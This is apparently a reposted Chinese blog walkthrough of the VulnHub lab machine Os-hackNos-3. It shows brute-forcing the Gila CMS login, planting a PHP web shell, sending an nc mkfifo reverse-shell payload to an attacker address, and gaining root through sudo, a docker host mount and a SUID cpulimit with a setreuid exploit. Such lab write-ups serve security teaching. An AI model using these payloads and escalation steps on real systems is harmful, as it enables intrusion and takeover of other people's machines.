其他分享
首页 > 其他分享> > Os-hackNos-3

Os-hackNos-3

作者:互联网

Os-hackNos-3

目录

下载地址:hackNos: Os-hackNos-3 ~ VulnHub

1 信息收集

image-20220213122008295

1.1 端口扫描

┌──(kali㉿kali)-[~]
└─$ nmap -sV -T4 -F 192.168.0.3 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-05 16:18 CST
Nmap scan report for 192.168.0.3
Host is up (0.51s latency).
Not shown: 98 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1.2 后台目录扫描

┌──(kali㉿kali)-[~]
└─$ dirsearch -x403,401,301,302 -u http://192.168.0.3/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

[16:36:37] Starting: 
[16:23:28] 200 -  195B  - /index.html
[16:36:38] 200 -    2KB - /scripts
[16:36:52] 200 -    5KB - /devil
[16:36:59] 200 -    5KB - /websec

Task Completed

# 尝试暴破/websec的子目录
┌──(kali㉿kali)-[~]
└─$ dirsearch -x403,401,301,302 -u http://192.168.0.3/websec

[17:23:20] 200 -    2KB - /websec/admin

1.2.1 目录分析

  1. http://192.168.0.3/scripts/

    image-20220305162520246

  2. http://192.168.0.3/devil/

    image-20220305165245575

  3. http://192.168.0.3/websec/

    收集到网站的邮箱:
    contact@hacknos.com
    

    image-20220305204116688

  4. http://192.168.0.3/websec/admin

    image-20220305172726392

  5. 使用cewl收集网站信息生成目标网站字典

    ┌──(kali㉿kali)-[~/OneForAll-0.4.3]
    └─$ cewl http://192.168.0.3/websec/ > cewl.txt
    

2 爆破后台登录页面

根据收集的网站信息,邮箱contact@hacknos.com,网站字典:cewl.txt进行爆破

2.1 BP爆破

  1. 发现该后台登录页面对登录请求的IP进行了限制

    image-20220305204645455

  2. 去掉Cookie头部字段后可以正常爆破:

    # 得到用户名:
    contact@hacknos.com
    # 密码
    Securityx
    

    image-20220305213817566

    image-20220305213940255

2.2 hydra爆破

┌──(kali㉿kali)-[~/OneForAll-0.4.3]
└─$ hydra -l contact@hacknos.com -P cewl.txt 192.168.0.3 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Log In"
# -l 用户名
# -P 密码字典
# https-post-form、http-get-form、https-get-form
# :Log In表示登陆错误后回包中存在的特征字符;

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-05 22:00:15
[DATA] max 16 tasks per 1 server, overall 16 tasks, 54 login tries (l:1/p:54), ~4 tries per task
[DATA] attacking http-post-form://192.168.0.3:80/websec/admin:username=^USER^&password=^PASS^:Log In
[80][http-post-form] host: 192.168.0.3   login: contact@hacknos.com   password: Securityx
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-05 22:00:18

image-20220305220047855

3 利用Gila后台GetShell

  1. 在Gila CMS 文件管理页面,添加后门文件:http://192.168.0.3/websec/admin/fm

    <?php system($_POST['acmd']);?>
    

    image-20220305231247070

  2. 修改http://192.168.0.3/websec/admin/fm?f=./.htaccess文件,添加内容如下,并保存

    RewriteCond %{REQUEST_URI} !shell.php
    

    image-20220305225537434

  3. 得到webshell

    image-20220305225638518

  4. 构造Post请求利用nc反弹shell

    POST /websec/shell.php HTTP/1.1
    Host: 192.168.0.3
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: PHPSESSID=0dijj1gi0vejr0vsvhrtome2md; GSESSIONID=1hum7oobrai608grd992fkjm8u632f2xuzbhge31p8b1ikcjd6
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Pragma: no-cache
    Cache-Control: no-cache
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 117
    
    acmd=rm+/tmp/getshell%3bmkfifo+/tmp/getshell%3bcat+/tmp/getshell|/bin/sh+-i+2>%261|nc+192.168.0.2+2333+>/tmp/getshell
    

    image-20220305231326456

    image-20220305231509061

  5. 利用python切换shell

    python -c 'import pty;pty.spawn("/bin/bash")'
    

3 提权

3.1 收集当前系统信息

  1. 查看/etc/passwd文件得到当前系统存在用户:blackdevil

  2. blackdevil家目录中找到user.txt的flag文件

    image-20220305232125530

  3. 查找具有SUID权限的命令:cpulimit

    www-data@hacknos:/home/blackdevil$ find / -perm -u=s 2>/dev/null
    /usr/bin/mount
    /usr/bin/passwd
    /usr/bin/chfn
    /usr/bin/newgrp
    /usr/bin/cpulimit
    /usr/bin/gpasswd
    /usr/bin/umount
    /usr/bin/su
    /usr/bin/sudo
    /usr/bin/fusermount
    /usr/bin/at
    /usr/bin/pkexec
    /usr/bin/chsh
    
  4. 查找用户所创建的敏感文件:没有东东

    www-data@hacknos:/home/blackdevil$ find / -user 1000 2>/dev/null
    

3.2 切换到用户提权

3.2.1 查找blackdevil用户密码

  1. 查看当前www-data用户的sudo权限:sudo -l,没有东东

    image-20220306075149359

  2. 查找可疑文件(这个真的好难找,我没搞出来):/var/local/database

    # 根据提示spreadsheet的编码方式
    Expenses
    Software Licenses,$2.78
    Maintenance,$68.87
    Mortgage Interest,$70.35
    Advertising,$9.78
    Phone,$406.80
    Insurance,$9.04
    Opss;fackespreadsheet
    

    image-20220306081208671

  3. 解码得到密码:Security@x@

    解码网站:Spreadsheet mimic - decode (spammimic.com)

    image-20220306081146451

    image-20220306082910972

  4. 切换为blackdevil用户,并查看该用户所属组

    blackdevil属于docker,sudo组

    image-20220306083502915

  5. 查看blackdevil用户拥有sudo命令权限:拥有所有命令的执行权限

    image-20220306084021627

3.2.2 sudo 提权

blackdevil@hacknos:~$ sudo su - 

image-20220306084118660

3.2.3 docker提权

  1. 当前系统docker镜像文件

    image-20220306084514128

  2. 下载docker镜像文件,启动容器并挂载宿主机的根目录

    # alpine镜像非常小非常适合用于提权
    blackdevil@hacknos:~$ docker run -it -v /:/mnt alpine /bin/sh
    
    # 由于已经将宿主机根目录挂载到了容器的/mnt/目录下,因此在容器内,/mnt/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限
    chroot /mnt
    

    image-20220306085824490

3.3 cpulimit 提权

3.3.1 直接提权

cpulimit -l 100 -f -- /bin/sh -p

image-20220305235156184

3.3.2 利用cpulimit执行提权脚本进行提权

  1. 提权脚本

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    int main(int argc,char *argv[])
    {
        setreuid(0,0);
        execve("/bin/bash",NULL,NULL);
    }
    
  2. gcc编译提权脚本

    ┌──(kali㉿kali)-[~]
    └─$ gcc exp.c -o exp
    
  3. 上传exp文件到目标主机:BASE64编码方式

    1. 查看编译后的exp文件Base64编码:base64 exp

      image-20220306000935839

    2. 在目标主机上vim创建exp.b64文件,并写入exp文件Base64编码:

      www-data@hacknos:/var/www/html/websec$ vim exp.b64
      
    3. 解码/exp.b64文件:

      www-data@hacknos:/var/www/html/websec$ base64 -d exp.b64 > exp
      
  4. 编写设置权限脚本,赋予exp文件sid权限

    chmod +x exp
    
  5. 提权

    cpulimit -l 100 -f ./exp
    

    image-20220306001724068

标签:bin,hackNos,websec,192.168,提权,usr,Os,0.3
来源: https://www.cnblogs.com/f-carey/p/15970385.html